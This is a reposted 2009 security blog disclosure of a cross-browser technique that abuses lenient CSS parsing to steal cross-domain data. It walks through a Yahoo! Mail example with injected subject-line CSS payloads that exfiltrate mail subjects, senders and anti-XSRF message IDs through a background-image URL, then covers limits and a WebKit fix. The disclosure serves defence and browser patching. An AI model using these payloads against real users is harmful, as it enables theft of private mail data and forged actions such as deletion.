Generic cross-browser cross-domain theft
By: Chris Evens
OP: http://scarybeastsecurity.blogspot.com/2009/12/generic-cross-browser-cross-domain.html

Well, here's a nice little gem for the festive season. I like it for a few distinct reasons:

It's one of those cases where if you look at web standards from the correct angle, you can see a security vulnerability specified.

Accordingly, it affected all 5 major browsers. And likely the rest.

You can still be a theft victim even with plugins and JavaScript disabled!
It's much less serious than it could be because there are restrictions on the format of cross-domain data which can be stolen, and the attacker needs to be able to exercise limited control of the target theft page.
The issue is best introduced with an example. The example chosen is deliberately a little bit involved and not too severe. This is to give the upcoming browser updates a chance to get deployed.

Example: Yahoo! Mail cross-domain subject line theft and e-mail deletion

(It's important to note there is no apparent failing of the web app in question here).

Step 1: E-mail your victim@yahoo.com with the subject line ');}

Step 2: Wait a bit (assume that other e-mails are delivered to the victim at this time)

Step 3: E-mail your victim@yahoo.com with the subject line
{}body{background-image:url('http://google.com/ and include in the body:
PLEASE CLICK http://cevans-app.appspot.com/static/yahoocss.html

Step 4: Mild profit if the victim clicks the link.

If you set up the above scenario as a test, you might see something like this in an alert box upon clicking the link:

url(http://google.com/%3C/a%3E%3Cbr/%3E%3Cspan%20class=%22j%22%3EChris%20Evans%3C/span%3E%3C/span%3E%3C/div%3E%3C/div%3E%3Cdiv%20class=%22h%22%3E%3Cdiv%20class=%22i%22%3E%3Cspan%3E%3Ca%20href=%22/p/mail/messageDetail?fid=Inbox&

mid=1_3493_AGvHtEQAAWFgSgIzgAlWYQXHqDY*

&3=q%22%3E

Super%20sensitive%20subject*

%3C/a%3E%3Cbr/%3E%3Cspan%20class=%22j%22%3E

Chris%20Evans*

%3C/span%3E%3C/span%3E%3C/div%3E%3C/div%3E%3Cdiv%20class=%22h%22%3E%3Cdiv%20class=%22i%22%3E%3Cspan%3E%3Ca%20href=%22/p/mail/messageDetail?fid=Inbox&mid=1_3933_AGTHtEQAAM%2FHSgIzawpE8Fwm1%2FI&5=x%22%3E)

The above text is stolen cross-domain, and the interesting pieces are singaled out and started with a *. The data includes the subjects, senders and "mid" value for all e-mails received between the two set-up e-mails we sent the victim. Although leaking of subjects and senders is not ideal, it's the "mid" value that interests us most as an attacker. This would appear to be a secure / unguessable ID. Accordi-
ngly, it is reasonable for the mail application to rely on it as a distinct anti-XSRF token. This is indeed the case for the "delete" operation, implemented as a simple HTTP GET request. Interestingly, the "forward" operation seems to have an additional anti-XSRF token in the POST body, making the "mid" leak not nearly as
serious as it could have been.

That's how this whole attack proceeds in its most powerful form: leak a small amount
of text cross-domain, and then bingo! if the leaked text happens to include a global
anti-XSRF token.

How does it work?

It works by abusing the standards relating to the loading of CSS style sheets. Approx-
imately, the standards are:

Send cookies on any load of CSS, including cross-domain.

When parsing the returned CSS, ignore any amount of crap leading up to a valid CSS desc-
riptor. By controlling a little bit of text in the victim domain, the attacker can inject
what appears to be a valid CSS string. It does not matter what proceeds this CSS string:
HTML, binary data, JSON, XML. The CSS parser will ruthlessly hunt down any CSS constructs
within whatever blob is pulled from the victim's domain. To the CSS parser, the text in
the above attack looks like this:

(some HTML junk; whatever){} body{background-image:url('http://google.com/%3C/a...stol
en stuff...')}(some trailing HTML junk)

So, the background of the attacker's page will be styled with a background image loaded
from an URL, the path of which contains stolen data! One lovely twist of using a CSS string
which is an URL is that it will be automatically fetched even if JavaScript is turned off!
The stolen data is then harvested by the attacker from their web server logs.

Fortunately, there are various barriers to exploiting this:

Any newlines in the injected string break the CSS parse. This is a very common condition
which stops potentially serious attacks.

CSS strings may be quoted within the ' or " characters. In a context where both of these
are escaped (HTML escaped, URL escaped, whatever), it will not be possible to inject a
CSS string.

The attacker needs control of two injection points: pre-string and post-string. For many
sensitive pages, the attacker won't have sufficient influence over the page data via URL
params or reflection of attacker data.

General areas that are more susceptible to this attack include:

JSON / XML feeds (common lack of newlines; no requirement to escape " (JSON strings) or '
(XML text nodes)).

Socially-related websites (the victim is always browsing attacker-controlled strings such
as comments on their mundane photos, etc).

How do we fix it?

It would be nice to be able to not send cookies for cross-domain CSS loads; however that
would certainly break stuff and it's hard to measure what without actually causing the
breakage.

It would be nice to be strict on the MIME type when loading CSS resources -- if not glob-
ally then at least for cross-domain loads. But this breaks high profile sites, *cough*
configure.dell.com and text/plain *cough*. (To be fair, it gets much worse with many sites
even using text/html, application/octet-stream, it
goes on).

A good balance is to require the alleged CSS to at least start with well-formed CSS, iff it
is a cross-domain load and the MIME type is broken. This is the approach I used in my pend-
ing WebKit patch.

Note that fixing this issue also fixes my previous attack of using cross-domain CSS to
reliably tell if someone is logged in or not:

http://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html

Credits

Aaron Sigel, for interesting discussions about using /* styled multi-line comments to by-
pass the newline rest-riction. Looks like it's not possible to recover comment text but

we didn't test all the browsers.

Opera, for seemingly fixing this in v10.10 - although I don't know the exact heuristic used.

The WebKit and Mozilla communities for good feedback on approaches and patches.